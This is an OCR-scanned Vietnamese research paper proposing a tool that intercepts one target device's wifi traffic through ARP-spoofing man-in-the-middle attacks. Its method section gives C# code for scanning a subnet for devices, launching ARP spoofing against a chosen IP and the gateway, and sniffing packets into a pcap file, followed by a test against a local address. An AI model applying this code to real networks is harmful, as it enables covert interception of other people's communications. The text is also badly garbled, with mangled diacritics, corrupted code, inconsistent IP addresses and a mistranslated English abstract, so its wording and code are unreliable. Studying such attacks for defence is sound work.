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T6m tidt — Chan thu dit ligu truyén giira hai thiét bi théng
minh 1a mot giai phap giam sat xen gitra luong dir liéu theo
md hinh tin cong xen gitra. Trong bai bao nay, ching tdi
phét trién mot mo hinh thu chan di lidu ¢6 kha ning tan
cdng vao mot dia chi IP cua thiét bi dau cudi can giam séat
dé thuc hién chan thu cac gai tin cua thiét bi d6 truyén théng
qua mang wifi dua trén nguyén ly “chen” vao gitta qua trinh
truyén/nhan dit liéu cua hai thiét bi ¢au cudi. Md hinh phét
trién dwoc chang tdi tién hanh thir nghiém chan thu di liéu
ciia mot thiét bi dau cudi truyén/nhan di liéu trong mot
mang wifi. Két qua caa md hinh chan thu gop phan phuc
vu cho cong tac dao tao ngudn luc vé quan tri mang, dam
bao an ninh an toan mang, nam bt duoc cac hanh vi cua
dbi twgng sir dung céng nghé cao dé thyuc hién cac hanh vi
trai véi quy dinh cia phép luat, gay ton hai dén céc hoat
dong chung caa xa hoi.

Tir khéa-Thu chin dit liéu, gai tin, tin céng xen giita, tin
cong trung gian, mang wifi, thiét bi dau cubi.

l. GIOI THIEU

Tén cong trung gian (Man in the Middle: MITM) la mot
phuong thirc tan cong mang linh hoat, thAm nhap va bi mat.
K§ thuat nay xay ra khi mét c& nhan hay thuc thé dat minh
Va0 Vi tri trung gian gitra hai thuc thé khac nhau, thuong la
ngudi ding va tng dung. Muc tiéu cua tan cong nay l1a chan
va can thiép vao qua trinh trao d6i thong tin giita hai bén,
tir d6 danh chan va stir dung dir liéu nhay cam caa ho cho
cac muc dich doc hai nhu gian 1an giao dich hoac xam nhap
hé thdng [1-3].

Mot cudc tin cong trung gian trong an ninh mang du
diéu kién 1a bat ky tinh huéng nao ma tac nhan de doa dat
minh giita nguoi diing va mot thyuc thé nhu mang, trang web
hoic tng dung dé lay thong tin. Phuong phap ma bén tan
cong thu dwoc thong tin d6 khac nhau bang cach sir dung
céc hinh thuc gia mao khac nhau, mt phuong phap mao
danh cac t6 chirc hodc trang web truc tuyén dang tin cay.
Céc kiéu tan cong MITM chinh bao gom:

Gia mao IP: Bang cach thay d6i dia chi Giao thic

Internet (Internet Protocol: IP) cua trang web, dia chi email
hoc thiét bi va gia mao thyc thé - lam cho ngudi dung nghi
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rang ho dang tuong tic véi mot ngudn dang tin cay trong
khi ho thuc su dang chuyén théng tin cho mét tac nhan doc
hai [4].

Gia mao DNS: Déi voi gia mao Hé théng tén mién
(Domain Name System: DNS), bén tan cong s& guri thu réc
tao va van hanh mot trang web gia mao ma ngudi dung
quen thudc va dinh tuyén ho dén trang web dé dé liy thong
tin dang nhap cia nguoi dung hoac théng tin khac [5-8].

Gia mao HTTPS: Nguoi ding cho rang mét trang web
c6 Bao mat Giao thirc Truyén Siéu Vin ban (Hypertext
Transfer Protocol Secure: HTTPS), nghia 1a ho dd ma hoa
dix liéu may tinh ctia minh cho may chu luu trir trang web.
Tuy nhién, ching duoc bi mat chuyén hudéng dén mot trang
web HTTP khong an toan, cho phép bén tin cong theo doi
cac tuong tac va thu chan thong tin [9].

Chiém doat email: Bén tin cong bi mat gianh quyén
truy cép vao tai khoan email ciia ngan hang hoic cong ty
thé tin dung dé theo ddi céc giao dich va danh cip thdng
tin. Ho ciing c6 thé sir dung tai khoan email hoic dia chi
email gia mao hoi khac so véi dia chi thuc té dé cung cap
huéng dan sai cho khach hang, chang han nhu chuyén tién
vao tai khoan séc mai.

Nghe trom Wi-Fi: Bén tin cong guri thu rac tao cac
mang hoc diém truy cap Wi-Fi cong cong ¢ vé nhu 1a mot
doanh nghiép 1an can hoic ngudn dang tin cay khac. Nguoi
dung két néi sau do sé bi chan tat ca hoat dong va dit liéu
nhay cam cua ho.

Chiém quyén diéu khién SSL: Mot phan mé rong caa
hanh vi gia mao HTTPS, chiém quyén diéu khién Lép cong
bao mat (SSL) la khi tin tac lay giao thirc nay chiu trach
nhiém ma hoa cac két néi HTTPS va chan dit liéu nguoi
dung di chuyén giita ho va may chu ma ho dang két ndi [10-
13].

Panh cap phién: Thuong dugc goi 1a danh cip cookie
cua trinh duyét, ké tin cong s& danh cip thong tin duoc luu
trir trén cookie cua trinh duyét web, chang han nhu mat
khau da luu.

Vi céc kiéu tin cong MITM nhu vay, chdng tdi nghién
clru giai phap chung dé dé xuat mot giai phap MITM tén
cong xen gitra mot muc tiéu cu thé dé thu thap dir liéu cua
dbi twong truyén qua mang wifi. Diéu nay sé& ¢ ich trong
cong tdc ndm tinh hinh vé mot déi tuong sir dung cdng nghé
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cao dé t6 chuc thuc hién cac hoat dong gay ton hai dén to
chuc, ca nhan hay hé thdng mang phuc vu cong dong.

Cong cu dé thuc hién bat goi tin trong giai phap tin cong
xen gitr hién nay dang dwoc st dung phé bién la Wireshark.
Wireshark 1a mot chwong trinh phan mém phan tich giao
thirc mang nguon mé do Gerald Combs khai xudng tir nim
1998, n6 la cong cu phan tich giao thirc mang pho bién nhat
thé gi¢i. Wireshark cho phép xem luu luong truy cap va
phan tich nhiing gi dang dién ra trong mang, nd nim bit luu
lwong mang trén mang cuc bo va luu trix dit liéu d6 dé phan
tich ngoai tuyén [14].

Vi muc tiéu chan thu dir ligu truyén qua mang wifi
bing céch tan cong mot dia chi IP cu thé ngay tir bude dau
ma khéng can quan tim dén goi tin ciia cac IP khéac ¢6 tham
gia vao mang wifi, ching t6i da phat trién mé hinh c6 tinh
ning tan cong vao mot dia chi IP dé chan thu di liéu, su
dung phuong thuc tin céng ARP (Address Resolution
Protocol) Spoofing dé thuc hién mot cudc tan cong xen
gitta. ARP Protocol la giao thic tiép can thiét bj trén mang
bang cach chuyén dia chi IP sang dia chi MAC va ngugc
lai dwa vao két néi Internet véi bo dinh tuyén. May cha luu
trir b6 nhg dém ARP, bang anh xa gitra dia chi IP va MAC
dé két ndi cac diém dén trén mang. Néu nhu khong c6 dia
chi IP thi may chu s& thuc hién giri g6i tin yéu cau ARP dén
céc méy khac trén mang dé cung cap dia chi MAC phu hop.
Tuy nhién, giao thic ARP khong c¢6 tinh bao mat nén khéng
6 kha ning xac minh mot phan hoi la chinh xac hay gia
mao. Didu ndy tao didu kién cho viéc tan cong ARP
Spoofing trén céc thiét bi cua ngudi dung. Trén co s& do,
chung t6i dé xuat mot mé hinh chan thu dit liéu thyuc hién
chan thu theo nguyén ly nhu sau:

+ My tan cong truy cap va thyc hién quét trong mang
dé x4c dinh cac dia chi IP v Mac ciaa may muc tiéu va bo
dinh tuyén.

+ Giri cac phan hdi gia mao dén thiét bi muc tiéu va bo
dinh tuyén danh lira ca b dinh tuyén va may muc tiéu két
ndi voi may thuc hién tan cong, thay vi két ndi véi nhau.

+ Hai thiét bi cap nhat cac muc bo nhé cache ARP cua
chiing va tir thoi diém do tro di, giao tiép vai ké tan cong
thay vi truc tiép véi nhau.

Khi cudc tan cong ARP spoofing thanh cong, may thuc
hién tan cong c6 thé:

+ Tiép tuc thyc hién cac thao tac lién lac hién tai cia bo
dinh tuyén dé danh chan dir liéu tir cac goi tin mang khong
dugc ma héa HTTPS ciing nhu cac goéi tin khac dudi dang
file *.pcap.

+ Thyc hién thay d6i nhu chuyén tép hoic trang web
doc hai dén may tram.

1. MO HINH VA NGUYEN LY CHAN THU D LIEU

Hé thong phan mém chuing ti phat trién c6 thé tim kiém
céc thiét bi dau cudi (dia chi IP) két néi véi mot mang wifi.
Tir danh sach cac thiét bi dau cudi tim kiém duoc, ching
t6i 6 thé tan cong mot thiét bi dau cudi da trén nguyén Iy
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MIMT dé chan thu cac goi tin di/dén thiét bi dau cudi can
giam sét.

Cong két

q 10i mang H

LAN

Thiét bi

o Internet
dau cuoi

B pht
h wif

Hinh 1: Binh tuyén trong truong hop binh thwong

Cong két
nbi mang
LAN

Thiét bi B phat

Ry Pt Internet
dau cudi wifi

>

Hinh 2: Dinh tuyén trong truong hop MIMT

Tir so d6 nguyén ly hinh 1 va 2, ching tdi xay dung giai
phép tan cong va chan thu goi tin truyén qua mang wifi cua
mot thiét bi két ndi vao mang thong qua dia chi IP nhu sau:

A. Bdt ddu tim kiém tdt cd cac thiét bi dau cudi két néi véi
mang internet thdng qua accesspoint A
string currentlP ="";

var selectedintIndex =
dropdownNIC.Selectedltem.ToString();

foreach  (Networkinterface  netinterface in
NetworklInterface.GetAllINetworkInterfaces())

{

if (netInterface.Description == selectedIntindex)

{

IPInterfaceProperties
netinterface.GetlPProperties();

ipProps

foreach (UnicastIPAddressIinformation addr in
ipProps.UnicastAddresses)

{

if (addr.Address.AddressFamily ==
AddressFamily.InterNetwork)

{
currentlP = addr.Address.ToString();

}

var lastDot = currentIP.LastIndexOf('.");

string subnet = currentlP.Substring(0, lastDot);
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List<Task> tasks = new List<Task>();
for (inti=2; 1< 255; i++)
{
string ip = $"{subnet}.{i}";
tasks.Add(PingAddress(ip));
}
await Task.WhenAll(tasks);

var listiPandMacPair =
GetAllMacAddressesAndlppairs();

foreach(var item in listiPandMacPair)
{
var index = dataGridViewl.Rows.Add();
var templP = item.IpAddress;
var tempMac = item.MacAddress;
string hostname ="";

var temphostname = listHostIPMap.Where(m =>
m.IPAddress == templIP).FirstOrDefault();

if(temphostname =
temphostname.Hostname; }

null) { hostname =
/Ivar mac = getMacByIp(ip);

dataGridViewl.Rows[index].Cells["GridIPAddress"].Val
ue = templP;

dataGridViewl.Rows[index].Cells["GridMacAddress"].V
alue = tempMac;

dataGridViewl.Rows[index].Cells["GridHostname™].Valu
e = hostname;

¥

string gwIP = subnet + ".1";
gwipAddress = gwlP;

gwMac = getMacBylp(gwIP);

B. Tdn cong mét muc tiéu véi dia chi IP xdc dinh (kich
hogt Attack)

var targetlP = txtTargetIP.Text;
var targetMacAddr = txtTargetMac. Text;
var sourcelP = txtSourcelP.Text;
var sourceMac = txtSourceMac.Text;

if (String.IsNullOrEmpty(targetIP) |
String.IsNullOrEmpty(targetMacAddr) |
String.1sNullOrEmpty(sourcelP) |
String.I1sNullOrEmpty(sourceMac))

{
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MessageBox.Show("Target
IP&Mac cannot be empty!", "Error");

}

else

{

selectedIntindex = dropdownNIC.SelectedIndex;

IP&Mac, source

wifi_device = interfaceList[selectedintindex];

IPAddress target =
IPAddress.Parse(txtTargetIP.Text);
PhysicalAddress targetMac =

PhysicalAddress.Parse(txtTargetMac. Text. ToUpper());
IPAddress gatway = IPAddress.Parse(sourcelP);

PhysicalAddress gatwayMac =
PhysicalAddress.Parse(sourceMac.ToUpper());

if (target == null || gatway == null || targetMac ==
null || gatwayMac == null)

throw new Exception("target device or gatway
must be not null™);

ArpSpoofer = new SpoofARP(wifi_device,
target, targetMac, gatway, gatwayMac);

if (ArpSpoofer I=null)
{
/Iwifi_device.Open();

wifi_device.Open();

try
{
ArpSpoofer.SendArpResponsesAsync();
if (ArpSpoofer.Error)
throw new Exception("error while

running the Arp Spoofing Thread");
}

catch (Exception ex)
{
Iwifi_device.Close();
throw new Exception(ex.Message);
}
C. Thu nhdn file *.pcap (Getpcap)
selectedintindex = dropdownNIC.SelectedIndex;
wifi_device = interfaceList[selectedIntIndex];
System.lO.File.Delete("capture.pcap™);

wifi_device.OnPacketArrival += new
PacketArrivalEventHandler(Device_OnPacketArrival);
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sniffing = new Thread(new
1Ffi elect network
ThreadStart(sniffing_Proccess)); 5_ I
sn Iffl ng ) Start() ' 1PAddress MacM Hostname. -
. . . . 255.255.255.255 1-ff-ff-H-f-6F
private void sniffing_Proccess() 15218801 ecto st 3e
- 182.168.0.100 a8-6b-ad-15-60-e9 Unknown
192.168.0.104 a2-20-fe-id-73-e7 Unknown
{ 192.168.0.105 70-b1-3d-93-82-a0 Unknaown
» 144608774727 DESKTOP-50vHSP1
- - 92.168.0.1 5e-84-08-e2-b5-a6 v
/1 Open the device for capturing e :
Target P Target Mac address
int readTimeoutMilliseconds = 1000;

wifi_device.Open(mode:
DeviceModes.Promiscuous |
DeviceModes.DataTransferUdp |
DeviceModes.NoCaptureLocal, read_timeout:
readTimeoutMilliseconds);

Hinh 4: Tim kiém céc thiét bj dau cusi tham gia vao mang
wifi thong qua dia chi IP

Hinh 5 va 6 lan lugt thé hién viéc gan dia chi IP cua muc
tiéu can tin cong va qua trinh chan thu dit liéu theo dinh

/[ Start the capturing process dang file *.pcap.
if (wifi_device.Opened)
Select network.
Marvell AVASTAR Wireless-AC Network
if (txtFilters.Text I="") — — — .
265 255 255 255 L322 285
{ 19216801 ec-08-6b-df-39-d6
192.168.0.100 a8-6b-ad-15-60-e9 Unknown
wifi_device.Filter = txtFilters.Text; ot v e T ETP T
» 14-6-d8-777c7 DESKTOP-50VHSP1
} 192.168.0.111 5e-84-08-22-b5-a6 v
captureFileWriter = new e [
CaptureFileWriterDevice("capture.pcap"); =

captureFileWriter.Open(wifi_device);

wifi_device.Capture();

}

ll. KET QUA THU NGHIEM

Dua trén giai phap MITM, ching t6i thir nghiém tan cong
dé chan thu dix liéu cua mot thiét bi dau cudi co dia chi IP
192.168.0.106 theo so d6 nguyén 1y nhu hinh 3. Khi muc
tiéu bi tin cong, thay vi dir liéu cia muc tiéu dugc
truyén/nhan véi bo phat wifi AP thi dix liéu caa muyc tiéu bi
dinh tuyén sang “may tinh dugc cai phan mém tan cong”.

B0 phat
wifi AP
Muc tiéu tAn >
cong
1P Add:
192.168.0.106 =

Hinh 3: So dé nguyén Iy tan cdng vao muc tiéu thdng qua
dia chi IP d@é chan thu diz liéu duwéi dang file *.pcap
Truéc tién, ching toi khai chay phan mém dé quét (scan)
tat ca cac thiét bi dau cudi két ndi mang thdng qua bo phét
wifi AP nhu hinh 4. Qua d6, phan mém phat hién duoc thiét

bi c6 dia chi IP 192.108.0.106 c6 két ndi vao mang wifi.
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Hinh 5: Gan dja chi IP 192.158.0.106 cua Muc tiéu dé
thuc hién tan céng

192 1830 108

192 160.0.108
192 1830108

Hinh 6: Qua trinh chan thu dé liéu cua muc tiéu tdn cong

Dit liéu thu duoc tai hinh 6 ¢6 dinh dang la *.pcap, dit liéu
nay c6 thé dugc phan tich bai phan mém wireshark dé biét
dugc mot s6 thong tin co ban caa goi tin (nhu hinh 7). Tuy
nhién, do di liéu chin thu dugc déu 1a céc dit liéu da duoc
mé& hoa (ma hod https noi dung trang web truy cip, ma hoa
déu cudi ddi véi cac tng dung, céc file dinh kém da dat mat
khéu,...). Vi vay, dé giai ma duoc thdng tin dit liéu cua muc
tiéu phuc vu cdng tac nghiép vu trong linh vuc ciia Cong
an hodc mot nhiém vu lién quan, c6 thé st dung hé théng
may tinh hiéu ning cao dé giai ma ra ngi dung ré cua goi
tin - day 1a mot thach thic rat 16n ddi voi cong dong khoa
hoc nghién ciru trong linh vuc giai ma dir liéu.
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M capture peap [m}
file Edit View Go
dm ®

No.

Capture  Analyze Statistics Telephony Wireless Tools  Help

RBsevczFoasEaaan

Destination
IntelCor_77:¥7:¢7
8.8.8.8

"8.8.4.4
8.8.8.8
8.8.4.4

Time
640 41.658891
641 41.661420
642 41.662213
643 41.782174
644 41.783353

Source
Microsof_35:26:8¢

Protocol  Length Info
ARP
76 Standard query @xff
76 Standard query exff

192.168.0.1086
192.168.0.1086

73 Standard query @xbb

Frame 641: 76 bytes on wire (608 bits),
Ethernet II, Src: IntelCor_77:f7:c7 (14:f6:dB:77:f7:c7), Dst: Microsof_35:26:8c (98:5f:d3:35:26:8¢'
Internet Protocol Version 4, Src: 192.168.8.106, Dst: 8.8.8.8

User Datagram Protocol, Src Port: 53788, Dst Port: 53

Domain Name System (query)

76 bytes captured (608 bits)

98 5f d3 35 26 Bc 14 f6 dB 77 f7 ¢7 08 80 45 @0
82 3e 9f 59 @@ @0 30 11

Ca 33 cP a8 0@ 6a ©8 @8
88 @8 d1 cc 0@ 35 0@ 2a S5c bB ff ba 01 8@ 00 @1
ee3e

(RN 03 64 6e 73 08 6d 73 66 74 Ge
[CRER63 73 62 83 63 6f 6d GOJCTICINCENCIY

_-5&
Y

w E

@ 7 capture.pcap Packets: 8443 - Displayed: 8443 (100.0%) || Profile: Defaul

Hinh 7: Sir dung phan mém wireshark dé phan tich théng
tin co ban cua goi tin chan thu dwoc

IV. KET LUAN

Ching t6i da dé xuat giai phap chan thu dir liéu cia mot
thiét bi dau cudi thong qua dia chi IP bang phuong phap
MIMT. Dt liéu truyen/nhan ciia myc tiéu duge dinh tuyén
di qua mot thiét bi dau cudi trung gian caa ching toi, tai
day giai phap ctia chung t6i da thu duoc toan bo dir liéu cua
muc tiéu dudi dang files *.pcap. P& xuét cua chung t6i da
duogc thir nghiém tan cong mot muc tidu cy thé thong qua
viéc ra quét tat ca cac dia chi IP ¢ tham gia vao mot mang
wifi. Thong qua dir liéu chan thu duoc tir giai phap cua
chung t6i, don vi quan tri hodc don vi chirc nang c6 thé nam
bit dugc dbi twong thyc hién nhitng hanh vi, hoat dong vi
pham phép luat va kip thoi d4u tranh, ngan chan.

LOI CAM ON

Nghién ctru nay duoc tai tro boi Bé tai nghién ciu khoa hoc
cép co s& cua Trudng Dai hoc Ky thuat - Hau can CAND -
B6 Cong an nim 2022 véi M4 s SCN.2022.T707.19.
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PROPOSAL FOR INTERCEPTING DATA OVER
WIFI NETWORK

Abstract: Intercepting data transmission between two smart
devices is a solution that monitors the interleaving of data streams
according to the man-in-the-middle attack model. In this article,
we develop a model to block the ability to attack an IP address of
the terminal that needs to be monitored to prevent the device's
packets from transmitting over the wifi network based on the
principle "interrupt" between the data transmission/reception
process of the two terminals. The developed model we tested
intercepts data reception of a final data transmitting/receiving
device in a wifi network. The results of the revenue prevention
model contribute to the training of resources on network
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administration, ensuring network security, and capturing the
behaviors of high-tech users to carry out activities. Acts contrary
to the provisions of law, causing harm to common activities of
society.

Nguyén Vin Tai, nhin bing tbt
nghiép dai hoc Giao thong van tai Ha
N&i nam 2006, nhan bang thac si Dai
hoc Bach Khoa Ha No6i nam 2010.
Anh bét dau lam nghién cau sinh tai
Hoc vién Cong nghé Buu chinh vién
thong vao nim 2017 va nhan bing
Tién st Ky thuat dién tr vao nam
2022. Huéng nghién ctru caa anh bao
gdm ng din séng nano plasmonic,
truong dién tir va truyén séng va
nghién ctru trong linh vuc phong chéng t6i pham sir dung cong
nghé cao.

Nguyén Thanh Xuan, nhan bang tét
nghiép dai hoc nam 2005 tai Truong
Dai hoc Déng D6, nhan bang thac si
nam 2011 tai Vién Dai hoc Mo Ha
Noi. Huéng nghién cau caa anh bao
gdm trudng dién ti, thong tin vo
tuyén, an ten va truyén song, thong
tin di dong thé he 4G/5G.

Ping Hoai Bic, nhan bing Dai hoc tir
truong Pai hoc Bach khoa Ha Noi,
Viét Nam, vao nam 1997, cic bing
Thac si va Tién si cia Hoc vién Cong
nghé Buu chinh Vién théng (PTIT),
Ha Noi, Viét Nam, lan luot vao cic
ndm 2004 va 2010. Nam 2007, Anh la
thyc tap sinh tai Vién nghién ctu Dién
ttr va Vién thong, Daejeon, Han Quéc.
Tir nim 2009 dén 2010, anh lam
Nghién ctu vién tai Orange Lab, France Telecom R & D, Paris,
France. Anh hién 1 Phé gido su /Giam dbc tai PTIT. Céc nghién
ctru hién tai cia anh bao gdm céc linh vuc diéu khién ty dong,
xtr Iy tin hiéu, hé théng nhiing va mach tich hop.

SO 04 (CS.01) 2023 TAP CHi KHOA HQC CONG NGHE THONG TIN VA TRUYEN THONG 9





